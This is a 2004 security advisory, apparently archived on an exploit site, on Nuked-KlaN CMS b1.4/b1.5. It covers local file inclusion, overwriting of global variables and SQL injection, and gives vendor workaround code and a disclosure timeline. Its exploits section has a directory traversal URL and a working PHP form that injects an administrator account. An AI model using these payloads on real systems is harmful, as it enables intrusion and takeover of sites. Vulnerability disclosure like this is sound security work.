what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SCSA028.txt

SCSA028.txt
Posted Apr 22, 2004
Authored by frog-man | Site phpsecure.info

Security Corporation Security Advisory [SCSA-028]: Nuked-KlaN versions b1.4 and b1.5 allows for directory traversal attacks and global variable overwriting.

tags | exploit
SHA-256 | 61a637daf1513ba208db6fc8145428152db635c02705b2f1d85a0fcd7bb18c37

SCSA028.txt

Change Mirror Download
=================================================
Security Corporation Security Advisory [SCSA-028]

Nuked-Klan Multiple Vulnerabilities
=================================================

PROGRAM: Nuked-KlaN
HOMEPAGE: http://www.nuked-klan.org
VULNERABLE VERSIONS: b1.4, b1.5, SP2
RISK: MEDIUM/HIGH
IMPACT: Config File Destruction
Local Files Include
Globals Vars Overwriting

RELEASE DATE: 2004-04-16


=================================================
TABLE OF CONTENTS
=================================================

1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK


1. DESCRIPTION
=================================================

Nuked-Klan is a complete CMS with a few intersting modules.

More information is available at http://www.nuked-klan.org


2. DETAILS
=================================================


In the file index.php, we can see the include of nuked.php :
----------------------
include ("nuked.php");
----------------------
In nuked.php are the lines :
-------------------------------------------------------
[...]
include ("conf.inc.php");
[...]
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}

include ("lang/$language");
[...]
-------------------------------------------------------
A file "lang/$language" is thus included.
This variable can be modified by anyone, with the variable named $user_langue.
Anyone can this include a file from the HD in Nuked-Klan b1.5 and less.


In this version b1.5 are a few other holes.
In the file globals.php are the lines :
-------------------------------------------------------
[...]
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
[...]
-------------------------------
The nk_globals() function can be found in nuked.php :
---------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
---------------------------------------------------
This function will create globals variables. Their names and values are in the
table $table (here GET, POST, COOKIE and SERVER tables).
When these lines are executed in globals.php, the GET, POST and COOKIE vars
become GLOBALS vars.
But if these GLOBALS vars already exists, they are overwrited.

So if the file globals.php is included after the config vars (in conf.inc.php),
then anyone can give new values to these vars.
It is possible in index.php :
-------------------------------------------------------
[...]
if($page!=""){$im_file="$page";}else{$im_file="index";}
}

if (is_file("modules/$file/$im_file.php") ){
include("modules/$file/$im_file.php");
}else{
include("modules/404/index.php");
}
[...]
-------------------------------------------------------
which could include globals.php with the URL :
http://[target]/index.php?file=..&page=globals
Or :
http://[target]/index.php?user_langue=../globals.php
This last url allow to overwrites GLOBALS[] in every modules, like Suggest
(modules/Suggest/index.php) :
-------------------------------------------------------

[...]
function add_sug($data)
{
global $user, $module, $nuked;

opentable();

include("modules/Suggest/modules/$module.php");
$date=time();
$content=make_array($data);
$sql=mysql_query("INSERT INTO $nuked[prefix]"._suggest." VALUES
('','$module','$user[0]','$content','$date')");
echo"

"._YOURSUGGEST."
"._THXPART."

";
redirect("index.php?file=$module",2);

closetable();
}
[...]
-------------------------------------------------------

Here we can change $nuked[prefix] and then insert what we want in the database.



The last problem in b1.5 is the file update.php :
-------------------------------------------------------

<?

[...]

include ("globals.php");

[...]

function install()
{
global $langue;
include ("lang/$langue");

[...]
}
[...]


function edit_config($op)
{
global $langue,$langname;

include ("lang/$langue");

[...]
}
[...]

function update_config($vars)
{
[...]
include ("lang/$vars[langue]");
[...]
$content = "<?php // Generated: $d\n"
[...]
."\$global['db_host'] = '$vars[db_host]';\n"
."\$global['db_user'] = '$vars[db_user]';\n"
."\$global['db_pass'] = '$vars[db_pass]';\n"
."\$global['db_name'] = '$vars[db_name]';\n"
."\$global['type'] = '$vars[type]';\n"
."\$nuked['prefix'] = \"$vars[prefix]\";\n"
[...]
."\$nuked['url'] = '$vars[url]';\n"
[...]
.'?'.'>';


$fp = fopen('conf.inc.php', w);
if (!$fp) die (sprintf('Erreur File Open','conf.inc.php','conf.inc.php'));
fwrite($fp, $content);
fclose($fp);
[...]
}

[...]

switch ($action)
{
[...]
case"edit_config":
edit_config($_GET['op']);
break;

case"update_config":
update_config($_POST);
break;

case"install":
install();
break;
[...]
}

?>
-------------------------------------------------------

This file can include a local file too with $langue and the update_confi()
function can overwrite the config file.



3. EXPLOITS
=================================================



- Include local file :

http://[target]/index.php?user_langue=../../../../../file/to/view

- Create admin (overwriting GLOBALS) :

-------------------------------------------------------

<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($_POST["submit"])){

echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";

}else{
?>

<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
-------------------------------------------------------


4. SOLUTIONS
=================================================

You can found patch at the following link : http://www.phpsecure.info

The Nuked-KlaN team were notified and have quickly released a fix.


5. WORKAROUND
=================================================

In globals.php, replace the lines :
-------------------------------------------------------
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
-------------------------------------------------------
by :
-------------------------------------------------------
if (!get_ini("register_globals")){
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
}
-------------------------------------------------------

In nuked.php, replace the lines :
-------------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
-------------------------------------------------------
by :
-------------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
if (!isset($GLOBALS[$key])){ $GLOBALS[$key] = $val; }
}
}
}
-------------------------------------------------------

And after the lines :
-------------------------------------------------------
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
-------------------------------------------------------
add the lines :
-------------------------------------------------------
if ( eregi("\.\.",$theme) || eregi("\.\.",$page) || eregi("\.\.",$file)
|| eregi("\0",$theme) || eregi("\0",$page) || eregi("\0",$file) ||
eregi("\.\.",$user_langue) || !file_exists("lang/$language") ){
die("What are you trying to do ?");
}
-------------------------------------------------------
6. DISCLOSURE TIMELINE
=================================================

25/02/2003 Vulnerability discovered
01/03/2003 Vendor notified
20/03/2004 Vendor response
20/03/2004 Security Corporation clients notified
20/03/2004 Started e-mail discussions
06/04/2004 Last e-mail received
16/04/2004 Public disclosure


7. CREDITS
=================================================

Germain Randaxhe aka frog-m@n <frog-man@security-corporation.com>
from http://www.phpsecure.info is credited with this discovery


8. DISLAIMER
=================================================

The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.


9. REFERENCES
=================================================

- Original Version:
http://www.security-corporation.com/advisories-028.html

- Version Française:
http://www.security-corporation.com/index.php?id=advisories&a=028-FR


10. FEEDBACK
=================================================

Please send suggestions, updates, and comments to:

Security Corporation
http://www.security-corporation.com
advisory@security-corporation.com
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close